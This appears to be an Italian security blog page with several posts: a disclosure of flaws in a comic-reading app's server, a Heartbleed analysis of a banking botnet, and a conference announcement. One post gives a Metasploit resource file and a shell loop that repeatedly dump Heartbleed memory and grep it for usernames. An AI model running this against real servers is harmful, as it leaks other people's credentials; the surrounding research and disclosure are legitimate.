MySql_Root_1v2

In queste ultime settimane una storica editoria Italiana che vanta un fatturato di oltre 500 milioni di euro nel 2014, fonte Wikipedia, ha pubblicato sull’Apple Store e Play Store una nuova applicazione per leggere un celebre fumetto.

Purtroppo la prima versione di questa App sta ricevendo notevoli commenti negativi nei rispettivi store, le criticità riportate sono basate sulla lentezza nell’ottenere i contenuti e sui continui crash durante la lettura del fumetto.

Ricerca

quickstart-zap

A fini di ricerca ho voluto visualizzare il traffico generato dall’Applicazione installata sul mio iPad Mini, ho così provveduto ad aprire BackBox Linux e il software preinstallato ZAP Proxy, proprio come feci tempo indietro rilevando che era possibile leggere più di 20 Quotidiani o Riviste gratuitamente scavalcando il sistema di pagamento.

Directory Listing

L’analisi del traffico attraverso il Proxy Server è durata veramente poco, l’applicazione attraverso uno script PHP autentica l’utente attraverso una richiesta POST in chiaro e ne consegue che l’utente viene autorizzato o meno allo scaricamento dei fumetti. Se non è autorizzato viene invitato ad acquistare il fumetto.

Se l’utente è autorizzato inizia il download del PDF contente le nuove e avvincenti storie del xxxxxx più famoso della storia 😀

Con una semplice analisi del traffico scopro già le prime lacune in termini di sicurezza informatica:

  • Assenza del protocollo SSL per l’invio delle credenziali dell’utente;
  • Invio delle credenziali in chiaro (es. username=andrea.d&password=nonteladico);
  • Server pubblico senza la ben che minima protezione agli accessi;
  • È possibile ottenere illecitamente il fumetto conoscendo la path del file PDF, poiché ad esso non è associato alcun meccanismo di autenticazione.

Nuovamente quindi è possibile leggere il fumetto eludendo il meccanismo di pagamento, con un grosso danno economico alla casa editoriale. È un punto importante e molto critico che favorisce la pirateria ai danni della società, ho già parlato di questi aspetti in passato ed ora non voglio soffermarmi ulteriormente anche perché sono un loro fedele cliente da oltre 20anni e continuerò ad esserlo.

Il secondo dettaglio che mi è saltato all’occhio aprendo il PDF nel mio Browser Firefox è che il server permette il Directory Listing son quindi riuscito a vedere i vecchi e nuovi numeri che usciranno nelle prossime settimane! :O

Vi ricordate il danno di immagine della Sony quando vennero trafugate in anteprima delle pellicole cinematografiche?! Bene e se iniziassi a distribuire i futuri numeri del fumetto prima della loro uscita ufficiale, di quanto diminuirebbero le vendite lecite?

Credenziali di Root

Ho continuato la mia navigazione, lecita, all’interno del server scoprendo uno script in python e un file di configurazione XML che contengono le credenziali del server MySQL, credenziali che riportano come nome utente “root ed è quindi possibile dedurre che le credenziali SSH e MySQL coincidano non essendo presente un utente specifico per MySQL.

Mi sono cadute le braccia, un utente malintenzionato potrebbe quindi accedere con i massimi poteri sul server e “giocarci” a proprio piacimento!

Nessuno Conosce l’URL

Riflettendo sul caso mi è venuto in mente un recente articolo di Paolo, nel quale parla di un Penetration Testing andato a buon fine e delle scusanti che l’Acccount Manager gli ha riportato.

Il server web in questione non ha alcun dominio associato, quindi l’Applicazione accede direttamente all’IP del Server di produzione. Server che probabilmente ha il solo compito di autenticare gli utenti e distribuire i file PDF!

La casa editoriale o lo sviluppatore potrebbe rispondermi “Non vi è alcun riferimento a quel server sul nostro sito Web, perché preoccuparsene!?” la risposta è facile! Quel server è su INTERNET e accessibile a TUTTI, non è stato implementato alcun sistema di autenticazione e non vi è neanche un briciolo di buona volontà nel renderlo sicuro! Ne riparleremo quando Google scansionerà il contenuto del server e le credenziali saranno alla mercé del più infimo lamer che userà il server per diffondere Phishing, Malware, ecc ecc!

 

 

Heartbleed

Heartbleed è un’importante vulnerabilità del popolare software OpenSSL, CVE-2014-0160, il bug consente di leggere fino a 64KB di memoria dal server vulnerabile, con la possibilità di compromettere le chiavi segrete utilizzate per identificare i fornitori dei servizi e per crittografare il traffico, i nomi e le password degli utenti.

Metasploit include un modulo per verificare se un server è vulnerabile o meno, se è vulnerabile permette allora di estrarre la chiave privata RSA e il data leak di 64KB. Se vogliamo lavorare sul data leak per intercettare le richieste GET generate con il protocollo HTTPS dovremmo rendere ricorsivo l’attacco, funzione purtroppo non implementata da Metasploit. Conseguentemente dovremmo ripetere manualmente il comando run ogni qualvolta vogliamo estrarre il traffico dal server vulnerabile.

Per rendere automatica l’estrazione della memoria, ripetendo il comando ogni X secondi mi sono creato un semplice script da eseguire tramite il nostro terminale. Questo ci permetterebbe di estrarre il Data Leak del server in maniera ricorsiva per tutto il tempo che riteniamo necessario.

Metasploit & Heartbleed – Rendere ricorsivo l’exploit

heartbleed.rc

Il primo passaggio da effettuare è quello di creare con il vostro editor di testo preferito il file heartbleed.rc ed editarlo come segue:

use auxiliary/scanner/ssl/openssl_heartbleed
spool /home/Scrivania/heartbleed_script/output_metasploit.txt
set RHOSTS XXX.YYY.ZZZ.JJJ
set verbose true
run

exit

 

Dovrete personalizzare questo script inserendo la corretta destinazione di spool, ovvero dove Metasploit genererà il file di log con il Data Leak e l’indirizzo IP del host remoto. Infine vi ricordo che tra i comandi run ed exit deve esserci un a capo.

Ciclo While

Il passaggio successivo è quello di lanciare Metasploit richiamando il precedente Run Commands ogni XX secondi, useremo un semplicissimo ciclo while da lanciare sul nostro terminale:

while true; do sudo msfconsole -r heartbleed.rc; sleep XX; done

Andando a sostituire XX con i secondi necessari alla ripetizione dell’exploit, ponderate questo valore in base al traffico del server e anche alla velocità della vostra linea.

Grep

Avviando lo script inizierà a generarsi il file di log output_metasploit.txt, precedentemente specificato, dopo diverse ore/giorni di esecuzione risulterà molto difficile leggere il file di log vi consiglio quindi di sfruttare grep per estrarre le porzioni di log che possono interessarvi, ecco un semplice esempio per estrarre ogni porzione di memoria contenente la parola username:

grep -oiE “.{0,20}.username.{0,20}” output_metasploit.txt | uniq

Il comando Grep vi estrarrà dal log tutte e porzioni di memoria contenete la parola username mostrandovi anche i precedenti e successivi 20 caratteri il tutto in No Case Sentitive. Infine ho aggiunto il comando uniq per semplificare l’output evitando doppioni.

Heartbleed

Gianni Amato ha pubblicato lo scorso 10 giugno un articolo in cui evidenzia un attacco Malware su base webinject ai danni di tre istituti di credito Italiani, vista la coincidenza dei tre istituti con un precedente caso che ho analizzato lo scorso Febbraio ho voluto approfondire nuovamente la vicenda.

Seguendo le tracce del Botmaster e il codice JS pubblicato da Gianni ho capito quanto fosse ben strutturata l’organizzazione criminale alle spalle di questo nuovo caso, gli istituti di credito coinvolti non sono solo Italiani ma sono coinvolti gli istituti dei principali continenti sviluppati. Il botmaster sfrutta diverse tecniche per oscurare il pannello di controllo online e si appoggia a diversi server per rimbalzare i dati provenienti dai bot.

SSL Trusted

Schermata 2015-06-13 alle 12.22.37La raffinatezza del Botmaster la possiamo cogliere già da questa prima immagine, il dominio che viene sfruttato per diffondere il malware e per raccogliere i dati sottratti sfrutta il protocollo SSL con un certificato valido! Il certificato SSL rilasciato da GeoTrust permettono una comunicazione sicura dal sorgente al destinatario (end-to-end) sulla rete fornendo autenticazione, integrità dei dati e cifratura operando al di sopra del livello di trasporto.

Errore 404

Not_Found

Se avete letto l’articolo di Gianni avrete notato che il malware per sottrarre le informazioni bancarie dal portale di csebanking è proviene da questo url: http://………../sajf98wquioijhsa/scripts/csebanking.js ed è pubblicamente consultabile! Conseguentemente anche la sottocartella http://………../sajf98wquioijhsa/ deve esistere, ma invece accedendoci  appare l’errore Not Found. Impossibile? No, è un trucchetto voluto dal botmaster per confonderci le idee! La sottodirectory /sajf98wquioijhsa/ esiste realmente ma è stata creata una regola contenuta in .htaccess per consentire l’accesso alla relativa sottodirectory solo passandoli un valido parametro nella richiesta GET! Se tale parametro non viene passato verremo reindirizzati ad una fittizia pagina x.php la quale genera il layout Not Found.

Ho scoperto questa particolarità tentando di accedere casualmente a qualche pagina nella cartella principale del dominio, come potete vedere dalla precedente immagine accedendo all’indirizzo http://………../script.php mi appare l’errore No Found ma vengono anche fornite le informazioni sul server “Apache/2.2.15 (CentOS) Server at…..” mentre accedendo alla sottodirectory sajf98wquioijhsa/ questa informazioni non appaiono. La pagina Not Found di Apache è solitamente standard per tutto il dominio/server e salvo personalizzazioni contiene anche le informazioni sulla versione di Apache. Notando questa diversità ho voluto indagare scoprendo quanto precedentemente detto.

Gate

In questo screenshot ho voluto farvi un esempio pratico della mia precedente teoria, accedendo normalmente alla pagine http://………../sajf98wquioijhsa/gate visualizziamo l’errore 404 Not Found, se invece alla richiesta GET gli aggiungo uno o più paramenti (es. ?x=yzv&q=werty) correttamente validati dalle regole di .htaccess visualizzo la pagina e la relativa risposta come potete vedere dallo screenshot. In questo caso il sistema ci conferma di aver ricevuto correttamente le credenziali sottratte alla vittima.

Gate_IndexModificando i parametri che vengono convalidati dalle regole di .htaccess sono riuscito ad ottenere una porzione della pagina di index, dove probabilmente vengono memorizzate le credenziali sottratte o reportizzati i bot attivi. Non avendo i pieni diritti di accesso, ovvero non conoscendo le credenziali, la visualizzazione dei dati è limitata alla sola struttura del pannello di controllo.

Secondo Server

BootMaster Panel

Successivamente ho scoperto che il primo server utilizzato dal Botmaster è vulnerabile, sfruttando quindi il data leak ho individuato un secondo server in uso. Questo secondo server riceve i dati dal primo, a tale server non è associato alcun dominio internet secondo il database di Domaintools probabilmente per mantenere il più possibile nascosto tale server.

Istituti di Credito Coinvolti (e non solo)

Attraverso il leak di memoria estratto dalla vulnerabilità ho potuto, in una analisi durata poco più di 2h, recuperare un’importante lista degli istituti di credito coinvolti in questa operazione. Il botmaster è in grado di sottrarre informazioni dei seguenti istituti, e non solo:

  1. https://www.nwolb.com
  2. https://bankingportal.sparkasse-essen.de/
  3. http://www.co-operativebank.co.uk/
  4. https://www.csebanking.it
  5. https://banking.credem.it
  6. https://www.chebanca.it
  7. https://banking.postbank.de
  8. https://www.rbsdigital.com
  9. https://finanzportal.fiducia.de/
  10. http://www.assist.ru/index.html
  11. https://www.fineco.it/
  12. https://www.citibank.ru
  13. https://www.paypal.com/
  14. https://www.usbank.com/
  15. http://libertyreserve.com
  16. http://www.mbna.co.uk/
  17. http://www.ebay.com
  18. http://www.ebay.fr
  19. http://www.poste.it
  20. http://wachovia.com
  21. http://www.ybonline.co.uk/
  22. http://www.banquepopulaire.fr
  23. https://www.cmb.fr
  24. http://www.credit-agricole.fr/
  25. https://www.labanquepostale.fr/
  26. https://www.secure.bnpparibas.net/
  27. https://www.ing.nl
  28. https://www.discover.com/
  29. https://www.credit-du-nord.fr/
  30. https://www.caisse-epargne.fr
  31. https://www.exabanque.net
  32. https://www.norisbank.de/
  33. https://bankofamerica.com
  34. https://www.chase.com/
  35. https://www.koodomobile.com/
  36. http://www.scotiabank.com
  37. http://www.bancopopular.es
  38. https://www.creval.it
  39. http://www.mybusinessbank.co.uk
  40. http://www.intesasanpaolo.com/

Come avrete notato in questa lista vi sono prevalentemente Istituti di Credito ma anche altri servizi come PayPal, Liberty Reserve che era moneta elettronica ora posta sotto sequestro ed eBay. La lista è bella numerosa e probabilmente con analisi sul target di 24h avrei estrapolato altri target.

Conclusione

La cronaca di questi ultimi dieci giorni ci ha dimostrato quanto è proficua l’attiva di un Phisher o di un Botmaster, in un breve tempo sono riusciti a trafugare 6 milioni di euro. L’indagine ha portato a un raid multiplo in 58 diversi luoghi d’Europa, dove i criminali informatici operavano per effettuare soprattutto attacchi di tipo phishing, ottenendo così i dati d’accesso dagli stessi proprietari degli account per poi trafugare i soldi dalle banche.

Questi avvenimenti ci insegnano sempre più che l’utente finale deve imparare a navigare su internet e a proteggersi da queste minacce molto proficue, bisogna inoltre intensificare i controlli da parte delle istituzioni per fermare questi criminali.

Volutamente ho evitato di scrivere dettagli e passaggi tecnici che mi hanno permesso di estrarre l’elenco degli istituiti, meglio non dare troppi vantaggi al Botmaster! 😉

Security_Summit

Nell’ambito tecnologico è sempre più decisivo puntare sul paradigma della sicurezza e del controllo man mano che la potenza aumenta. Ciò è particolarmente vero in un’epoca di device potentissimi, strabordanti di dati aziendali, troppo spesso utilizzati come strumenti personali. Con tutti i rischi che le moderne esigenze di collaborazione e comunicazione richiedono: senza controllo, la pura potenza si trasforma infatti in causa di continui incidenti.

Il corretto approccio alla governance e al risk management, unito agli strumenti corretti, può portare a una forte diminuzione degli incidenti, oltre che a un minor impatto del rischio residuo sul business. La consapevolezza, infatti, diventa il fattore determinante per minimizzare i rischi che la complessità di ogni nuova soluzione porta con sé.

Di controllo dei dispositivi mobili, risk management e protezione dei dati aziendali si parlerà al Security Summit, organizzato da Clusit (la più autorevole associazione italiana nel campo della sicurezza informatica) e previsto per il 10 e l’11 giugno 2015 allo Sheraton Parco de’ Medici Rome Hotel di Roma. Giunto alla VII edizione, l’evento costituirà l’occasione per parlare di sicurezza in tutte le sue declinazioni, con particolare riferimento alla mobility: dalla sicurezza nell’ambito della pubblica amministrazione agli aspetti legali della security, dalla minaccia del cyber crime per le aziende alla sicurezza dei mobile device.

BlackBerry sarà presente al Security Summit con una sessione dalle 11.30 alle 13.00 del primo giorno che prevede un intervento congiunto dei relatori BlackBerry con un docente di Clusit e Andrea Pennasilico (Security Evangelist conosciuto nell’hacker underground come mayhem).

Durante le due giornate dell’evento BlackBerry sarà comunque presente nello spazio espositivo per presentare BlackBerry Enterprise Service 12 (BES12) e gli altri servizi a valore aggiunto concepiti per ottimizzare la mobility.

All’evento parteciperanno, fra gli altri, HP, IBM, Oracle, Alfa Group, Akamai, Mediaservice.net, Obiectivo Technology, Qualis, Riverbed, Sinergy, Skybox Security, Sophos, Splunk, Trend Micro, Watchguard.

Per maggiori informazioni vedi il sito ufficiale del Security Summit.